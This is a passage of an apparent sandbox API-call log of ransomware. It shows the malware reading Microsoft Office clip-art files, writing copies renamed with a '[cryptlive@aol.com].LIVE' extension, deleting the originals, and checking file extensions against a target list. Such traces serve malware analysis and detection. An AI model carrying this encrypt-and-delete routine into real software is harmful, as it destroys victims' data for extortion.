office\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0148.845] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.845] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0148.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0148.846] GetLastError () returned 0x0 [0148.846] ReadFile (in: hFile=0x328, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x27d0, lpOverlapped=0x0) returned 1 [0148.857] WriteFile (in: hFile=0x3cc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x27e0, lpOverlapped=0x0) returned 1 [0148.858] ReadFile (in: hFile=0x328, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0148.858] WriteFile (in: hFile=0x3cc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.858] SetEndOfFile (hFile=0x3cc) returned 1 [0149.321] CloseHandle (hObject=0x3cc) returned 1 [0149.331] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.331] SetEndOfFile (hFile=0x328) returned 1 [0149.360] CloseHandle (hObject=0x328) returned 1 [0149.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.360] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf")) returned 1 [0149.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0149.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0149.362] lstrlenW (lpString=".doc") returned 4 [0149.362] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.362] lstrlenW (lpString=".docx") returned 5 [0149.362] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0149.362] lstrlenW (lpString=".pdf") returned 4 [0149.362] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.362] lstrlenW (lpString=".xls") returned 4 [0149.362] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.362] lstrlenW (lpString=".xlsx") returned 5 [0149.362] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0149.362] lstrlenW (lpString=".ppt") returned 4 [0149.362] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0149.362] lstrlenW (lpString=".zip") returned 4 [0149.362] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.362] lstrlenW (lpString=".rar") returned 4 [0149.362] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.362] lstrlenW (lpString=".bz2") returned 4 [0149.362] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.362] lstrlenW (lpString=".7z") returned 3 [0149.362] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0149.362] lstrlenW (lpString=".dbf") returned 4 [0149.362] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0149.362] lstrlenW (lpString=".1cd") returned 4 [0149.362] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0149.362] lstrlenW (lpString=".jpg") returned 4 [0149.362] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0149.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0149.363] lstrlenW (lpString=".doc") returned 4 [0149.363] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.363] lstrlenW (lpString=".docx") returned 5 [0149.363] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0149.363] lstrlenW (lpString=".pdf") returned 4 [0149.363] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.363] lstrlenW (lpString=".xls") returned 4 [0149.363] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.363] lstrlenW (lpString=".xlsx") returned 5 [0149.363] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0149.363] lstrlenW (lpString=".ppt") returned 4 [0149.363] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0149.363] lstrlenW (lpString=".zip") returned 4 [0149.363] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.363] lstrlenW (lpString=".rar") returned 4 [0149.363] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.363] lstrlenW (lpString=".bz2") returned 4 [0149.363] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.363] lstrlenW (lpString=".7z") returned 3 [0149.363] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0149.363] lstrlenW (lpString=".dbf") returned 4 [0149.363] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0149.363] lstrlenW (lpString=".1cd") returned 4 [0149.363] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF") returned 63 [0149.363] lstrlenW (lpString=".jpg") returned 4 [0149.363] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.363] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0149.363] lstrlenW (lpString="J0099181.WMF") returned 12 [0149.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0149.364] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1198) returned 1 [0149.364] CloseHandle (hObject=0x328) returned 1 [0149.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf")) returned 0x20 [0149.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0149.365] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.365] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0149.366] GetLastError () returned 0x0 [0149.366] ReadFile (in: hFile=0x328, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x4ae, lpOverlapped=0x0) returned 1 [0149.367] WriteFile (in: hFile=0x3cc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x4b0, lpOverlapped=0x0) returned 1 [0149.368] ReadFile (in: hFile=0x328, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0149.368] WriteFile (in: hFile=0x3cc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.368] SetEndOfFile (hFile=0x3cc) returned 1 [0149.369] CloseHandle (hObject=0x3cc) returned 1 [0149.369] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.369] SetEndOfFile (hFile=0x328) returned 1 [0149.371] CloseHandle (hObject=0x328) returned 1 [0149.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.371] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf")) returned 1 [0149.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0149.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0149.372] lstrlenW (lpString=".doc") returned 4 [0149.372] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.372] lstrlenW (lpString=".docx") returned 5 [0149.372] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0149.372] lstrlenW (lpString=".pdf") returned 4 [0149.372] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.372] lstrlenW (lpString=".xls") returned 4 [0149.372] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.372] lstrlenW (lpString=".xlsx") returned 5 [0149.372] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0149.372] lstrlenW (lpString=".ppt") returned 4 [0149.372] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0149.372] lstrlenW (lpString=".zip") returned 4 [0149.372] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.372] lstrlenW (lpString=".rar") returned 4 [0149.372] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.372] lstrlenW (lpString=".bz2") returned 4 [0149.372] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.372] lstrlenW (lpString=".7z") returned 3 [0149.372] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0149.372] lstrlenW (lpString=".dbf") returned 4 [0149.372] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0149.373] lstrlenW (lpString=".1cd") returned 4 [0149.373] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0149.373] lstrlenW (lpString=".jpg") returned 4 [0149.373] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0149.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0149.373] lstrlenW (lpString=".doc") returned 4 [0149.373] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.373] lstrlenW (lpString=".docx") returned 5 [0149.373] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0149.373] lstrlenW (lpString=".pdf") returned 4 [0149.373] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.373] lstrlenW (lpString=".xls") returned 4 [0149.373] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.373] lstrlenW (lpString=".xlsx") returned 5 [0149.373] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0149.373] lstrlenW (lpString=".ppt") returned 4 [0149.373] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0149.373] lstrlenW (lpString=".zip") returned 4 [0149.373] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.373] lstrlenW (lpString=".rar") returned 4 [0149.373] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.373] lstrlenW (lpString=".bz2") returned 4 [0149.373] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.373] lstrlenW (lpString=".7z") returned 3 [0149.373] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0149.373] lstrlenW (lpString=".dbf") returned 4 [0149.373] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0149.373] lstrlenW (lpString=".1cd") returned 4 [0149.373] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63 [0149.373] lstrlenW (lpString=".jpg") returned 4 [0149.374] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.374] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0149.374] lstrlenW (lpString="J0099182.WMF") returned 12 [0149.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0149.374] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3840) returned 1 [0149.374] CloseHandle (hObject=0x328) returned 1 [0149.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf")) returned 0x20 [0149.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0149.375] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.375] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0149.375] GetLastError () returned 0x0 [0149.375] ReadFile (in: hFile=0x328, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0xf00, lpOverlapped=0x0) returned 1 [0149.377] WriteFile (in: hFile=0x3cc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xf10, lpOverlapped=0x0) returned 1 [0149.378] ReadFile (in: hFile=0x328, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0149.378] WriteFile (in: hFile=0x3cc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.378] SetEndOfFile (hFile=0x3cc) returned 1 [0149.378] CloseHandle (hObject=0x3cc) returned 1 [0149.378] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.378] SetEndOfFile (hFile=0x328) returned 1 [0149.381] CloseHandle (hObject=0x328) returned 1 [0149.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.405] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf")) returned 1 [0149.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0149.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0149.406] lstrlenW (lpString=".doc") returned 4 [0149.406] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.406] lstrlenW (lpString=".docx") returned 5 [0149.406] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0149.406] lstrlenW (lpString=".pdf") returned 4 [0149.406] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.406] lstrlenW (lpString=".xls") returned 4 [0149.406] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.406] lstrlenW (lpString=".xlsx") returned 5 [0149.406] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0149.406] lstrlenW (lpString=".ppt") returned 4 [0149.406] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0149.406] lstrlenW (lpString=".zip") returned 4 [0149.406] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.406] lstrlenW (lpString=".rar") returned 4 [0149.406] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.406] lstrlenW (lpString=".bz2") returned 4 [0149.406] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.406] lstrlenW (lpString=".7z") returned 3 [0149.406] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0149.406] lstrlenW (lpString=".dbf") returned 4 [0149.406] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0149.406] lstrlenW (lpString=".1cd") returned 4 [0149.407] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0149.407] lstrlenW (lpString=".jpg") returned 4 [0149.407] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0149.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0149.407] lstrlenW (lpString=".doc") returned 4 [0149.407] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.407] lstrlenW (lpString=".docx") returned 5 [0149.407] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0149.407] lstrlenW (lpString=".pdf") returned 4 [0149.407] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.407] lstrlenW (lpString=".xls") returned 4 [0149.407] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.407] lstrlenW (lpString=".xlsx") returned 5 [0149.407] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0149.407] lstrlenW (lpString=".ppt") returned 4 [0149.407] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0149.407] lstrlenW (lpString=".zip") returned 4 [0149.407] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.407] lstrlenW (lpString=".rar") returned 4 [0149.407] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.407] lstrlenW (lpString=".bz2") returned 4 [0149.407] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.407] lstrlenW (lpString=".7z") returned 3 [0149.407] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0149.407] lstrlenW (lpString=".dbf") returned 4 [0149.407] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0149.407] lstrlenW (lpString=".1cd") returned 4 [0149.407] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned 63 [0149.407] lstrlenW (lpString=".jpg") returned 4 [0149.408] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.408] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0149.408] lstrlenW (lpString="J0099183.WMF") returned 12 [0149.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0149.427] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4946) returned 1 [0149.427] CloseHandle (hObject=0x3b0) returned 1 [0149.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf")) returned 0x20 [0149.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0149.437] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.438] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 